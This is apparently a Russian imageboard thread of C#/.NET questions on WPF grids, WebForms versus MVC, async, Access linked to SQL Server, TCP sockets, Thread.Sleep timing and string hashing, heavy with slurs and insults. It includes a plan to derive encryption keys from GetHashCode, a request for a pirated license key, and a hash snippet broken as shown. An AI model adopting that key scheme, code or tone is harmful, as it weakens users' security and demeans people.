Почему в grid (DataGrid в WPF) показывает что у меня 0 Column, тогда как в dogTable (DataTable ) показывает что их было 12?
Я из-за этой херни не могу переименовать в grid название столбцов, потому что у меня вылетает исключение про неправильный индекс (даже по 0).
При всем этом если переименование закоментировать, то все нормально работает и данные выводятся в таблицу
(а еще подобный же код в другом месте с другим DataGrid работает)
DataGrid описан так:
<DataGrid x:Name="grid" Margin="13,80,13,80"
Loaded="grid_Loaded"
MouseDoubleClick="grid_DoubleMouse"
VirtualizingStackPanel.IsVirtualizing="True"
ScrollViewer.CanContentScroll="True"
ItemsSource="{Binding}"
AutoGenerateColumns="True"
ScrollViewer.VerticalScrollBarVisibility="Visible"
ScrollViewer.HorizontalScrollBarVisibility="Visible"
MaxHeight="600.0"/>
код такой (я упростил, оставив 2 записи)https://pastebin.com/m45TjcJz
Куда копать?
зачем? что бы по телефону с сервером созваниваться как этот анон?>>775182
неа спасибо, я все еще не увидел никаких преимуществ мвс над вебформами, вебформы простые легкие, можно низкоуровневый код писать к страницам, а у мвс из приемуществ какие-то непонятные абривиатуры которые в реальных проектах нестабильны и юслес
Как можно по нормальному обернуть в функцию?
Или чего-нибудь готовое, но не сложное?
> зачем? что бы по телефону с сервером созваниваться как этот анон?>>775182
Мой знакомый тоже о вебформсах хорошо отзывался
> неа спасибо, я все еще не увидел никаких преимуществ мвс над вебформами
Гоняешь по сети кучу трафика, ебешь процессор нагрузкой больше, чем на mvc
> вебформы простые легкие
> <%@ Page Language="C#" AutoEventWireup="true" CodeBehind="Default.aspx.cs" Inherits="TestAspNet45.Default" %> <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"> <head runat="server">
...
Ну хз, мне это напоминает wpf с его бойлерплейтом
> можно низкоуровневый код писать к страницам
На mvc тоже можно. А вообще проще фронт на JavaScript и не ебаться с костылями
> а у мвс из приемуществ какие-то непонятные абривиатуры которые в реальных проектах нестабильны и юслес
Говоришь о технологии, с которой незнаком. Тревожный звонок, анон
Где async?? Все IO/Network операции надо через async/await вызывать.
Reader нужен только для оптимизации или для каких-то простых приложух. Во всех остальных случай EF Core.
Ну или хотя бы Dapper, если не хочешь заморачиваться с настройкой контекстов, запуском in-memory для тестов и миграциями https://github.com/StackExchange/Dapper
про низкоуровневый код я имел введу о code behind страницы, и я не понял что ты написал про javascript и к чему это, и к тому же я не уверен что в мвс так можно, мне кажется что нет, насчет трафика в вебформах есть такая крутая штука как update panel заворачиваешь туда то что надо обновлять а все остальное берется из клиентского кеша, так можно оптимизировать очень хорошо трафик + для мелких задач можно юзать веб метод и не исполнять лишний код на сервере, а трафик будет зависит чисто от того как ты json сообразишь, насчет новых технологий в мвс честно скажу не знаю знаком с мвс посредственно но за мвс почему-то топят в ру сегменте, я живу и работаю в европе и тут наоборот мвс что-то не такой популярный, может быть из за индусов не знаю, но вот в тех случаях когда я просил четко оформить плюсы мне говорили вот те вещи что анон сверху задвигал, "ну там в будущем, там что-то обещают, а там технология многообещающая, да и оттуда перекатиться туда будет в будущем легко, на раст, хераст, педераст" а зачем мне куда-то перекатываться и что мне это дает здесь и сейчас "молчание"
Не чувак, веб формы в прошлом и уже давно. И они в десятки (а где то и тыщи) раз медленнее и более прожорливее MVC/Razor Pages/Rest API. А с выходом WASM и Blazor и HTTP/2 вообще небо и земля.
Тебе, как привыкшему к вебформс можно перебраться на Razor Pages https://docs.microsoft.com/en-us/aspnet/core/razor-pages
Меньше разрыва шаблонов будет.
Нужно заняться некромантией и восславить Нер-Зула.
а можно собственно сравнение по вызовам, памяти? трафику и быстродействию? я первый раз слышу про формы что в десятки-тыщи раз медленнее
>>776420
да ты бля даже веб метод у себя через ajax раскочегарить не можешь, какой тебе низкоуровневый код, какой кодбехайнд блять. ссынок блядь. куда ты лезешь?
>а зачем мне куда-то перекатываться и что мне это дает здесь и сейчас
затем что mvc и asp.net core mvc в частности с его dependency injection из под коробки удобнее и интуитивнее в разы. при двузначном iq код на коре будет удобно разбит по контроллерам, сервисам, миддлвейрам, а то же самое на вебформах превратиться в ёбаный спагетти-код, видал я такую хуйню. ты там блядь пойди еще и собственный html-generator написал на шарпе и хуяришь им в респонс боди, потому что блядь низкоуровнево блядь пиздец погоромист блядь. динаху отсюда
>>776296
Может я недоглядел, но я не понимаю как работать когда мне нужно данные полученные с запросов еще и обрабатывать.
Ну то есть я делаю сложный SQL запрос, затем делаю замену некоторых данных - например сменить формат даты - мне не нужна дата вплоть до микросекунды которая хранится в базе. И вот как такие операции делать - когда я получил с базы данные, но они еще не пригодны для программы?
(А то во всех учебниках элементарно - делают класс подобный структуре таблицы и на этом всё)
>Где async??
Это тоже не понял - зачем делать эту операцию асинхронной, если ее результат ждет программа? пока результата нет - она и не должна работать (да, интерфейс должен быть заблокирован чтобы пользователь не нажимал кнопочки пока не прогрузилось - я часто с такой херней в некоторых других прогах сталкивался - когда тыкнешь не туда во время загрузки и пиздец все ломается)
>>776514
нет.
>Где async?? Все IO/Network операции надо через async/await
вот серьезно - какой смысл, если основной поток все равно без этих данных не сможет корректно работать и по сути должен уходить в ожидание?
у меня десктоп если что
Мне страшно становится от мысли, что куча так называемых "программистов" работает над настоящими проектами вот с такими вот знаниями и подходом к делу.
Сильно (очень) упрощённая версия.
Кол-во потоков (и вообще ресурсов) в любой системе ограничено. Если этой не школьный или просто для души проект, то разбрасываться ресурсами нельзя! Await возвращает поток назад в использование для всех остальных (а не только тебя любимого). IO/Network операции выполняются в другом процессе, а чаще всего вообще на другом железе. Нет смысла отжирать ресурсы впустую, пока ты ждёшь ответ от внешней системы.
Но самый страх начинается, когда ты начнёшь отлавливать дедлоки на пустом месте. Нельзя, ВООБЩЕ НИКОГДА НЕЛЬЗЯ, делать async over sync или sync over async. Это прям НЕТ и точка.
Шпаргалка.
https://github.com/davidfowl/AspNetCoreDiagnosticScenarios/blob/master/AsyncGuidance.md
С такими знаниями тут тебе ни один ответ не поможет, кроме готовых примеров конкретно для твоего приложения что врят ли кто-то за тебя писать будет.
https://docs.microsoft.com/en-us/ef/core/get-started
Тут на самом деле всё есть, надо только взяться и хорошо всё почитать и перепробовать кучу примеров (там ссылки на гитхаб).
Вообще надо делать отдельные классы (Entity) для представления того, что у тебя в БД. И отдельные классы для бизнес логики. И потом делать репозитории/сервисы/мапперы/обзывай как хочешь, от архитектуры зависит, в которых ты будешь из Entity делать Domain объект и наоборот.
Ты о чем? Я не понимаю что ты хочешь мне сказать
Я знаю что количество потоков ограничено. Я как раз и спрашивал - нахера делать получение данных асинхронным, если без этих данных программа не сможет работать и будет их ждать, так как любые операции без данных - это ошибка логики и к ничему хорошему не приведут.
А еще у меня в коде дохера кеширования и многие запросы делаются один раз, дальше оно хранится в памяти (прога занимает 260мб оперативы)
>>776783
> IO/Network операции выполняются в другом процессе, а чаще всего вообще на другом железе
какое еще другое железо? откуда оно возьмется? При чем тут вообще Network?
> насчет новых технологий в мвс честно скажу не знаю знаком с мвс
Я мало работал с вебформс, всего один раз баг пофиксил. Получается разговор людей, которые работают с разными технологиями
Проперделся с педерастов, но, анон, я вот что скажу. Вебформы на неткор не портировали, это теперь легаси и количество работы будет сокращаться
Я сейчас завожу трактор, поэтому мне нужно иметь актуальный стек. Туда, куда я хочу, не то что мвц, туда шарп особо не нужен. Думал на яву перекатываться, но пока фронт изучаю. Ты в Европе, тебе и так хорошо
У МС на сайте даже написано: Use .NET Core for your server application when you need high-performance and scalable systems.
И хочешь не хочешь, но трафика старая технология потребляет больше. Там и бенчмарки есть - https://docs.microsoft.com/en-us/dotnet/standard/choosing-core-framework-server
И как уже заметили, вебформс уже легаси и будет поддерживаться только в старом фреймворке. Новых фич и быстродействия уже не получит. Мир с каждым днём всё больше в облака уходит. С вебформс там делать нечего. Разве что только с пет проектами.
Я тебе так скажу - учись. Читай новые статьи, обсуждения, книги, сам экспериментируй.
Вот эту шпаргалку всем без исключения дотнетчикам на самом деле многое отсюда к любой технологии/языку/платформе относится надо держать всегда под рукой https://docs.microsoft.com/en-us/aspnet/core/performance/performance-best-practices
>Do call all data access APIs asynchronously.
>Call data access, I/O, and long-running operations APIs asynchronously if an asynchronous API is available.
В твоём случае asynchronous API как раз available.
>нахера делать получение данных асинхронным
чтобы
- не отхватить deadlock;
- не отжирать ресурсы, пока программа ничего не делает, потому что твой поток не уходит спать, а возвращается в пул потоков и может быть использован чем-то другим в системе (кстати, на счёт спящих потоков: Thread.Sleep() должен уйти на покой, а вместо него надо использовать await Task.Delay());
- для многопользовательских приложений увеличить проходимость (если блочить каждый UI thread, то на новоприбывших пользователей потоков может в какой-то момент не остаться и они будут сидеть и ждать очереди).
Чтобы юзеры не могли нажать кнопочки, когда их нажимать не положено, существуют 1001 техника без блокировки основного потока: disable UI elements, waiting screen/spinner, проверка в коде на повтор того же самого запроса и т.д..
А если подумать, вебформы хороши или нет? В отрыве от вопросов производительности?
Просто увидел там драг-н-дроп, подумал, что это интересная фича
ИМХО ничё в них хорошего не осталось. Drug-n-drop разработка - такой себе анонизм. Это как если сравнить какой-нибудь https://gamesalad.com с нормальным игровым движком. Да, у тебя получится сделать продукт, но он будет похож на школьный проект или на местечковую автоматизацию какой-нить конторы/администрации.
Я с вебформс дружил с 2008 года. Каждый раз когда проект разрастался до десятков тысяч строк, начинались танцы с бубном. Особенно если вместо одного сервака тебе внезапно нужна была небольшая ферма. Те ещё пляски чтобы управлять одним приложением на нескольких машинах разом (scaling называется).
.Net Core упростил веб разработку в разы. У нас есть приложухи монолиты с миллионом строк кода и есть системы из кучи микросервисов. Нормально всё поддерживается и работает. Мы бы наверное то же самое на вебформсах 10+ лет пилили и потом без остановки баги разгребали.
нахуй ты мне линк на биржу даешь? Мне опыт работающих фрилансеров нужен, если тут конечно такие есть
>MVC Razor или WebAPI+JS? Что за таски обычно, легаси или с 0? Микросервисы?
И где тут хоть слово про опыт, долбоебина? Хотя можешь не отвечать, ты уже подтвердил свою умственную отсталость, поэтому диалог с тобой продолжать не вижу смысла.
токсичная хуйня кидает линк с апворка и хуй пойми какой ждет реакции. Спрашиваю про опыт фрилансеров, он мне выкатывает простыню про идентификацию по посту. Не пиши больше, чмоха
Нет. Корона + малый спрос на .Net решили этот вопрос не в пользу джунов. А вот мидлам и сеньерам наоборот хорошо, так как многие компании сокращают джунов и пытаются заменить их меньшим количеством мидлов и сеньоров.
>>778574
>Не могу подобрать БД, да и нужно ли оно тут?
Это шутка такая? Где ты текстовый редактор видел, который данные сохраняет в базу данных? Сохраняй в файл, очевидно.
r.MapControllerRoute(
..name: "someroute",
..pattern: "{govno:alpha}/{mocha:int}",
..defaults: new { controller = "Con", action = "Act" });
Как мне теперь создать ссылку с помощью tag-helper'ов а-ля mysite.gov/kaka/13?
Короч, если кому надо
<a asp-route-govno ="kaka" asp-route-mocha="13" asp-controller="Con" asp-action="Act">
Оно будет автоматически искать подходящий маршрут, параметры автоматически будут сопаставлены с частями пути, остальные прилепятся как параметры гета.
Полностью зависит от того, чем будешь заниматься. В вебе тебе навряд ли понадобиться что-то сложнее логарифма. В гейдеве, думаю, понимание векторов, матриц и соответственно операций над ними покроет 90% твоих потребностей (геймдев на шарпе это юнити, довольно высокоуровневый движок, единственное не знаю как там шейдеры пишут, наверно качают ассерт из стора, так что тоже особой математики не надо). В машинном обучении, наверно да, но у них там скорее всего своя специфика, а ты будешь пользоваться готовыми либами. Ну а в кровавом ынтырпрайзе, опять же зависит от того что это за приложение. Могут быть хардкорные вычисления а может быть школьная арифметика.
>за необходимость математики и знания различных алгоритмов для разработчика
если очко жмет спросить применение этих алгоритмов на практике, то нужно учить. Советую выдрочить один экзотический алгоритм, который применял только дед Ануфрий при войне с перлом и при вопросе: "Какие алгоритмы знаешь?" - Отчечаешь этим алгоритмом. В 99.9% интервьюер ничего про него не знает, можно поставить шах и мат фразой "Ааа, вы его не знаете... Ну понятно". Если спизданет "Да знаю" или промолчит - попросите описать/реализовать. Изи типсы для собеса.
>Если спизданет "Да знаю" или промолчит - попросите описать/реализовать.
А потом ему сказать извините вы нам не подходите?
— Блядь, всё-таки не знаешь, ой мудель, блядь!.. Твою мать, изучай это говно нахуй, блядь! Сейчас будешь всё это дебажить, блядь!
— Я тебе принес вопросов-то!
— Чё ты мне вопросов принёс, чё ты, мудак, что ль, бля?! Хули ты спросил… хули ты сортировкой-то вымазался, мудак, блядь?!
— Я уж погулил, я тебе…
— Пидорас, блядь! Сука, блядь!
— Соискатель, ты что!
— Убери это говно отсюда, блядь!
— Я спросил уже!..
— Ёб твою мать, блядь, и весь вайтборд засрал, блядь!
— Хотел тебя спросить-то!..
— Мудак, блядь, ну ты мудак, блядь, я тебя сейчас убью, нахуй! Я тебя, блядь, сейчас убью нахуй, блядь!
— Я тебе принес задач-то!..
— (Тихим голосом.) Блядь, ну ты пидорас, блядь…
— Задач-то…
— Бля, ну ты сумасшедший, ёб твою мать, а…
— Задач-то…
— Бля, с кем вы меня посадили, охуеть, ёбаный в рот!..
— Я не HR, я те честно говорю! Я тебе… я просто хотел тебе сделать доброе дело…
— Чё?
— Я не кодил вообще сегодня!..
— Чё, нахуй, мне — добро?
цену себя знать нужно, а не быть обмякшей чмохой (коих 99% разРАБов)
>- не отхватить deadlock;
какие дедлоки в однопоточном приложении?
>>777467
>не отжирать ресурсы, пока программа ничего не делает
она и так не отжирает ресурсы, когда ничего не делает - событийно-ориентированая архитектура же. 0% загрузки проца и 80 мб оперативы в простое.
>>777467
>потому что твой поток не уходит спать, а возвращается в пул потоков и может быть использован чем-то другим в системе
винда сама все разрулит намного эффективней,так как приложение находится в состоянии простоя
>>777467
>- для многопользовательских приложений увеличить проходимость (если блочить каждый UI thread, то на новоприбывших пользователей потоков может в какой-то момент не остаться и они будут сидеть и ждать очереди).
У каждого пользователя свое приложение. Они никак друг друга не блочат.
Чел, все то что пишешь - это либо слишком сложные системы, которые в одиночку никто в здравом уме не разрабатывает, либо веб, так как там нынче все должно быть "модно-молодежно".
Я же пишу обычное десктоп приложение, управляющее делопроизводством компании из около 40 человек. При этом активно работающие с базой всего два рабочих места. Остальные работают с копиями.
- есть база в сети на SQL Server. при этом для доступа используется учетная запись SQL Server
- есть локальная база в MS Access
- локальная база содержит связь на таблицу из базы SQL Server
как мне работать с этой связью? На пикче называется dbo_Улицы
Если я открываю ее в Access - то в первый раз она требует пароль SQL Server
Но как теперь этот пароль указать в коде?
вот это не работает:
string connectionBDCoreStr = string.Format("Provider=Microsoft.ACE.OLEDB.12.0; Data Source={0};JET OLEDB:Database Password=1234", mdbFile);
using (var connect = new OleDbConnection(connectionBDCoreStr))
пишет "ODBC - ошибка подключения к 'база в сети'
Мне это для чего надо - в MS Access я храню запросы, и код должен работать с ними
>Зачем вообще эти костыли?
Ну чтобы не засорять основную базу результатами запросов на изменение
Сам спросил, сам отвечу. Все оказалось капец как просто (при этом убил 3 часа, нифига не нашел в гугле, и тупо на угад получилось - вечно так)
Короче, в самой ms access когда создаешь связанную таблицу, там есть окно в котором надо выбрать таблицы - в этом окне снизу притаилась кнопка "сохранить пароль". Вот это оно и есть - сохранить пароль и дальше в самом коде не надо никаких паролей указывать - работает со связанными таблицами как с обычными
(ну или чтобы не вломали хацкеры - поставить пароль уже на саму базу ms access)
То есть ты делаешь Update, а старые значения заносишь в Access?
Я брал Serilog и просто сущности в Json сериализовывал и сохранял. Можно только diff сохранять, но при моей нагрузке и хуевой туче памяти это не нужно. В итоге полное версионирование
Что насчёт двух контекстов? В SQL Server можно ссылаться на другие базы но вот можно ли ссылаться на базы других программ?, кажется, в объектах сервера было. Посмотри, может, в access есть что-то похожее. Я так понимаю, тебе надо сперва подключиться к access, а потом уже тянуть данные с MS SQL
Поверх двух контекстов можно нагородить провайдер, который будет разруливать твои действия. Можешь глянуть DDD и bounded context, но это охуеть головомойка
Вообще, мутная эта схема. Не хотел бы я, чтобы такой проект попал на поддержку. Данные либо нужны, либо нет. Твой access тоже где-то надо хранить, бекапить, держать в памяти. Почему бы не сделать все на одной платформе?
Ну, все, поздравляю, молодец – сам разобрался
>Вообще, мутная эта схема.
Почему мутная?
Общая база данных хранится на сервере SQL Server. А локальная база MS Access хранится вместе с программой и у каждого будет своя (в ней можно и индивидуальные конфиги хранить)
Запросы очень удобно делать в MS Access (в нем самый простой, но мощный редактор). В SQL Server Management Studio это как-то черезжопно. В коде это тоже выглядит страшно.
При этом результат выборки запроса можно сохранить в MS Access и тогда не дергать основную базу, а брать уже сохраненные результаты из MS Access, просто при первом запросе делать копию редкоизменяемых таблиц - такое кеширование сильно разгружает локальную сеть (у нас раньше была такая проблема).
А самое главное - разработка. Я ведь иногда прихожу домой и хочу дальше кодить, но доступа к серверу у меня нет (и я не хочу ставить себе дома всякое говно). В случае MS Access это легко решается:
- есть MS Access в котором устанавливаю связи с SQL Server - это рабочая локальная база
- есть база в которой я храню полные копии таблиц из SQL Server с теми же именами что в рабочей у связей.
И мне в результате надо всего лишь одну строчку в коде изменить чтобы оно брало локальную копию. А не городить огромные условия и шаблоны, где выбирать нужную базу и нужный биндинг - ведь с access работать через OleDbConnection, а с SQl Server через SQLConnection. Сейчас я во всем коде могу работать через OleDb, и подключаться к локальной базе. А уж в самой базе менять связи как мне надо
Аноны умоляю. Есть у кого-нибудь полный набор элементов для xamarin от synfuction? Или хотя бы ключик. Очень хочется исходники посмотреть
Для таких вещей есть Sqlite, к которому и коннектится проще и конфигурить. Сам файл БД можно зашифровать и расшифровывать при старте твоей проги.
Для ручного доступа к БД можно самой студией пользоваться без всяких SSMS и MS Access.
Борду не читай, но спиздани.
MS его везде пропихивают.
https://dotnet.microsoft.com/apps/aspnet/web-apps
Razor может на любой backend rendered html страничке использоваться + новый Razor Pages движок https://docs.microsoft.com/en-us/aspnet/core/razor-pages
По итогу получается, что на страницу все равно надо прилепить кусок js-ного кода только если у тебя там не статичный контент, а то и целый фреймворк, потому что разор – это генератор html, и на этом его полномочия заканчиваются. А блазор – хуйня из под коня. Либо васм, который никто качать не будет, либо соединение с каждым клиентом, что не подходит для нагруженного приложениям
Таким образом, помимо js и html надо знать еще и тег-хелперы разора. Раз уж js надо изучать, почему бы уже не взять какой-нибудь вью или реакт, и писать фронт отдельно? Еще и spa получится, охуенно же
Признаю, с разором можно много чего написать – я поддерживаю пару жырных проектов на mvc, но удовольствия от ковыряния этого псевдо-html я не испытываю. Один жирнючий плюс – удобная отладка из коробки. Что закинул в модель, то и получаешь в ходе генерации. Для входа в веб проще не придумаешь
>почему бы уже не взять какой-нибудь вью или реакт, и писать фронт отдельно?
Мы как раз так и делаем уже года 4. Razor если и используется, то редко и только для инициализации исходного состояния приложения (через тот же React или Angular). Через него безопаснее читать конфиги, настраивать всякие политики и прочая безопасность. Плюс появляется возможность создавать true source of knowledge объекты. Те же enum. Вместо того чтобы создавать одно и то же два раза (на бэке и фронте), делаешь один раз на бэке и генеришь год для фронта. По хорошему тот же самый объект и для DB mapping должен использоваться. Для больших проектов сильно помогает сократить время на разработку и отладку. И вообще magic knowledge is evil.
Having said that я терпеть не могу жаваскрипт и перепрыгну на WASM (Blazor в нашем случае) при первой же возможности. Плюсов уже сейчас куда больше чем минусов. А после нормального релиза и глобальной поддержки WASM и HTTP/2 будет вообще огонь. ЖС должен сдохнуть и желательно ещё вчера.
Мне нужно написать сервер, который будет работать 24/7 и по требованию писать блоки данных всем клиентам.
У меня какое-то недопонимание.Я сделал сервер, сделал клиент.
У клиента создаю TcpClient, потом ему делаю Connect().
И потом
using (NetworkStream stream = socketConnection.GetStream()){
if (stream.CanRead){
var dataString = MakeStringFromServerData(stream);
Debug.Log(dataString);
}
}
При первом прочтении всё ок. При повторном дропает ошибку.
Я что-то не выкупаю, вот эта мразь дропает что ли соединение или в чем дело
>using (NetworkStream stream = socketConnection.GetStream())
т.е. после каждого прочтения надо рвать соединение и по новой? или как?
Забыл добавить,
>может кто-нибудь помочь написать TCP клиент и сервер?
готов заплатить умеренную кукую-то сумму, если поможешь разобраться с этим.
Хм, могу абстрактный прототип накидать сейчас бесплатно, просто потому что мне скучно. Но допиливать уже будешь сам.
Мне нужно, чтобы просто сервер работал вечно, и был у него публичный метод аля Send(byte[] data), и клиент, который бы вечно работал и принимал эти ёбоманые байты.
Буду безмерно благодарен, если поможешь.
Работающий пример
https://codinginfinite.com/multi-threaded-tcp-server-core-example-csharp/
Но лучше переезжать на async
https://docs.microsoft.com/en-us/dotnet/framework/network-programming/asynchronous-client-socket-example
https://docs.microsoft.com/en-us/dotnet/framework/network-programming/asynchronous-server-socket-example
Работая с кучей клиентов на одном серваке легко отхватить дедлок или вообще потерять поток. Надо знать как писать код потокобезопасным.
Блин, тогда мне даже париться не надо. Бери https://github.com/chronoxor/NetCoreServer/tree/master/source/NetCoreServer и используй. Оно работает нормально.
854x480, 1:38
>https://codinginfinite.com/multi-threaded-tcp-server-core-example-csharp/
Не то, что мне нужно.
>>779799
А вот это то, сработало. АХУЕТЬ, СПАСИБО, ПАПАША!
Надо будет еще посмотреть что там с реконнектом и в продакшн.
Проблема заключается в том что Thread.Sleep на core ждет для значения 1 минимум 12-15 мс, на фреймворке 4.8 нормально все работало, а теперь либо жрать ресурсы пользователя, либо просто так пожирать целое ядро на компе.
А я хочу дать возможность пользователя залочить игру на нужном ему фпс и при этом не жрать впустую его ресурсы.
Что мешает просто проверять дельту времени прошедшую с последней отрисовки и пропускать отрисовки, если дельта меньше?
В итоге он забудет и обосрется, потому что без Thread не сможет сохранить данные в случае необработанного исключения, так как все таски убиваются не дожидаясь их завершения.
Вообще пох, хоть VueJS. Какой больше нравится, тот и используй. Серьёзно, абсолютно пофиг какой из них брать и даже абсолютно пофиг на то, какие пакеты выберешь для работы с CSS, UI components, testing, etc.. Скорость работы, производительность, функционал приложухи будет зависеть от твоих рук и на сколько ты подружишься со своими инструментами.
Так это тебе её учить надо, раз ты не знаешь, что класс Thread в некоторых случаях незаменим.
VueJS нет в шаблонах новых проектах в студии, только эти два.
Интересуют не собственные проекты, а перспектива для устройства на работу.
Делать фронт на Ангуляре или Реакте через VS шаблоны - это пистец. Для собственных проектов как раз пойдёт. Для реальных проектов надо настраивать 2 отдельных приложения - для бэка и для фронта, и настраивать таски через какой-нибудь Webpack для генерации и отдачи файлов браузеру.
Ты тут херню написал. Без Thread всё прекрасно ловится и обрабатывается. Хоть у тебя один поток, хоть 100.
Типичныйэксперт с двача, лол.
Показывай мне код который в делегате ивента AppDomain.UnhandledException будет запускать таск записывающий информацию об исключении в файл и успевать это делать, пока clr не убьет его.
А нахрена ты non-thread pool threads используешь? Иначе зачем тебе UnhandledException сдался (да и вообще ручные ивенты и делегаты? как там в 2010, кстати?).
В коре всё прекрасно ловится и внутри тасок, и снаружи через всякие AggregateException https://docs.microsoft.com/en-us/dotnet/standard/parallel-programming/exception-handling-task-parallel-library
Для очень особых случаев (когда непонятные сервисы/библиотеки используешь) есть TaskScheduler.UnobservedTaskException https://docs.microsoft.com/en-us/dotnet/api/system.threading.tasks.taskscheduler.unobservedtaskexception
Речь идёт об UnhandledException те исключении которое никак не обработано, из за чего приложение прекращает работу. При чем здесь нон тред пул тредс и твои ссылки?
UnobservedTaskException как раз и отлавливает global unhandled exceptions, но с тасками.
Ты как вот этот чувак https://stackoverflow.com/questions/21141549/catch-unhandledexceptions-raised-on-threads-tasks-timers-threadpool-threads
Он тоже
>I will avoid Tasks. I will also avoid Action<T>s, and Func<T>s if I call BeginInvoke on them. I'll avoid these because AppDomain.CurrentDomain.UnhandledException does not catch their exceptions.
Есть хоть один нормальный туториал? Не аутизм с глобальными ресурсами (да пиздец так делать - потом же хрен поймешь где кому какой список принадлежит)
Дебил, я еще раз повторяю, речь про эксепшн котопый ложит твое приложение и сохранение данных до того как процесс завершит работу. Если делать это используя класс task, то ничего не сохранится, в отличии от класса thread
Ничего не мешает, я могу так делать и сейчас так делаю, но это тупо жрет одно ядро на 100% так как цикл бесконечный и большую часть времени он выполняется сотни тысяч раз проверяя можно ли делать физику и рендер.
Но я не хочу греть зря проц и выполнять бесполезную работу.
Потому что на мощных машинах основной поток рендера может быть загружен на 20-30%, а остальные 70% получается бесполезная работа без thread sleep.
>>779994
В фреймворке это было еще медленнее чем thread.sleep и сейчас в core работает так же как thread sleep давай минимум задержку в 14-16 мс, что не приемлемо так как физика у меня по умолчанию идет в 100 фпс.
И я не хочу использовать task потому что это ухудшает дебаг, так как каждый раз таска идет на новый поток и затем если я хочу собирать данные о перформансе или чем-то еще, то не могу сгруппировать их по потокам так как у меня будет сотни потоков в профайлере.
Для меня thread является идеальным решением, я же не временно беру поток, а на долгое время (пока не завершится программа) и всегда выполняю в нем работу
ууу, как всё запущено
Godot иммет вшитую поддержку C#, но они используют Mono. С выходом .NET 5 моно и кор станут едины и тогда можно будет сказать что Godot использует самый последний dotnet.
Unity и CryEngine уже давно C# поддерживают https://dotnet.microsoft.com/apps/gaming
Что я хочу сказать - это прекрасно!
WASM-то сделают, но рантайм загружать все равно придется. Не думаю, что в браузеры запилят рантаймы под каждую платформу, это слишком много места
Как вариант – сделают AOT и можно будет работать с wasmовскими инструкциями, тогда оверхед будет минимальный. В любом другом случае – ну кто в своем уме будет делать сайт, который для первоначального рендеринга требует скачать 3-4 мегабайта?
Вью добавляется с полпинка
Нужно поменять скрипт запуска в дотнете, а во вью в конфиге добавить сообщение о запуске, как у реакта. А то он не стартует
Был гайд где-то, ищи
Но вообще идея странная, удобнее два отдельных приложения сделать. Я сам только недавно начал, сделал сперва как ты хочешь, потом разделил на два и кайфую. Только корс надо настроить
Вообще, мутная там безопасность, что пиздец, с ходу не поймешь, надо будет пару деньков посидеть
Слышал, что юнити работает на какой-то версии фреймворка и там не все так просто
Да, каждый браузер по умолчанию будет только C/C++/Rust вшивать. Но браузер может кэшить отдельные сборки, поэтому после одного такого сайта другие будут грузиться сразу. WASM как Docker - скачал image и запустил в отдельном контейнере. Images можно локально хранить и менеджить между разными приложениями.
Для игр, редакторов, всяких тяжёлых клиентов, типа Outlook, вполне будут качать и 3 и 10 мб.
И вообще если тебе понадобилось целый фреймворк тащить, чтобы написать веб приложение, то у тебя там явно не страничка с текстом и картинками, иначе можно было бы голый html + css + чуть-чуть js использовать.
PWA тоже вполне пойдёт. Можно даже во всякие апсторы выпускать.
byte[] bytes = Encoding.ASCII.GetBytes(stringText);
int i = BitConverter.ToInt16(bytes, 0);
i.ToString();
Но для него стринга "11" и "11111111" это тоже самое. Если поставить конвертить в большую инту - выдает ексепшн что слишком малый байт массив (стринга), а мне нужна поддержка хотя бы двух символов в строке.
Пока держу вкурсе.
>>780813
Начал исследовать проблему и нашел странное поведение.
То ли это новая винда 2004 теперь так тупит, то ли net core, но теперь thread.sleep(1) работает ступенькой с разницей в 300-1500 мс в шаг начиная с 15-16 мс и доходя до 1 мс как и должно быть.
Вот это график за 10 секунд.
Это не так.
GetHashCode не стабилен для стандартной строки и если ты хочешь иметь стабильный хэш тогда используй собственную реализацию строки.
Чому нестабилен? Я только что палкой потыкал - вроде нормально. Одно и тоже значение на строку выдает - заебись, все, мне больше не нужно, а в случае повтора хешей можно просто юзеру отправить что такой юзернейм занят и пошел он нахуй.
Какие еще подводные?
Я хочу сгенерить уникальный "рандомный" ключ шифрования на юзверя, взяв его логин+пароль(строку) как начальный сид для генерации, вместо того чтобы заебывать самого юзера явным рандомным ключем помимо логина/пароля.
Не спрашивайте нахуя, мне именно вот так нужно.
Спиздил вот эту либу для строк https://github.com/StefH/RandomDataGenerator
Написал вот так
var randomizerText = RandomizerFactory.GetRandomizer(new FieldOptionsText
{
Min = 32,
Max = 32,
Seed = textBox5.Text.GetHashCode()
});
key = randomizerText.Generate();
>Был гайд где-то, ищи
Зачем? Имеет смысл только если ты уже знаешь Vue и не хочешь учить React/Angular, иначе это сорт оф велосипедостроительство.
>Но вообще идея странная, удобнее два отдельных приложения сделать.
Ничего странного нет, все так делают, поэтому и шаблоны уже готовые есть.
В голове у тебя странное поведение. Thread.Sleep(1) отдает своё процессорное время другим потокам и когда оно вернётся к нему обратно зависит от многих факторов, начиная от количества потоков в системе, их приоритетах и заканчивая непосредственно типом процессора.
Все студенты и шаражки. В большом проде разбивают всё на разные приложения и над каждым из них своя тима работает.
Шаблоны были введены по такому же сценарию как и VB.NET - есть куча калек, которых надо как-то продолжать эволюционировать.
Очевидно же что я делаю проверку на полностью свободной системе и уже судя по всему начал докапываться до сути, проблема в самой винде, а точнее в какой-то обнове.
У меня такая фигня только с нет кором, на 4.8 все нормально.
Сделал тестовые версии для своих пользователей и узнал что у половины людей на винде 2004 проблемы, поведение точно такое же как у меня, ступеньками. На 1809 же ноуте та же самая программа дает для sleep(1) от 1 до 2 мс, график не идет таким вот бредом.
У хэша строк большая коллизия.
А нестабилен он от запуска к запуску, т.е на 100 запусков может быть как 100 одинаковых так и 100 разных хэшей, об этом на том же msdn написано.
Именно поэтому если ты используешь строки в качестве ключей в какой-нибудь хэш коллекции, то можешь не слабо так обосраться и даже не понять почему.
>Именно поэтому если ты используешь строки в качестве ключей в какой-нибудь хэш коллекции, то можешь не слабо так обосраться и даже не понять почему.
Каким образом обосраться? Можно хоть все элементы коллекции под ключами с одинаковым хэшем хранить, это повлияет только на производительность.
Нагрузка на раздачу статики и ее сжатие ложится на плечи твоего сервиса, смекаешь?
int hash1 = 5381;
int hash2 = hash1;
for(int i = 0; i < str.Length && str != '\0'; i += 2)
{
hash1 = ((hash1 << 5) + hash1) ^ str;
if (i == str.Length - 1 || str[i+1] == '\0')
break;
hash2 = ((hash2 << 5) + hash2) ^ str[i+1];
}
return hash1 + (hash2*1566083941);
Затестил на xp и десятке - полет нормальный.
>>780868
https://docs.microsoft.com/en-us/windows/win32/api/timeapi/nf-timeapi-timebeginperiod
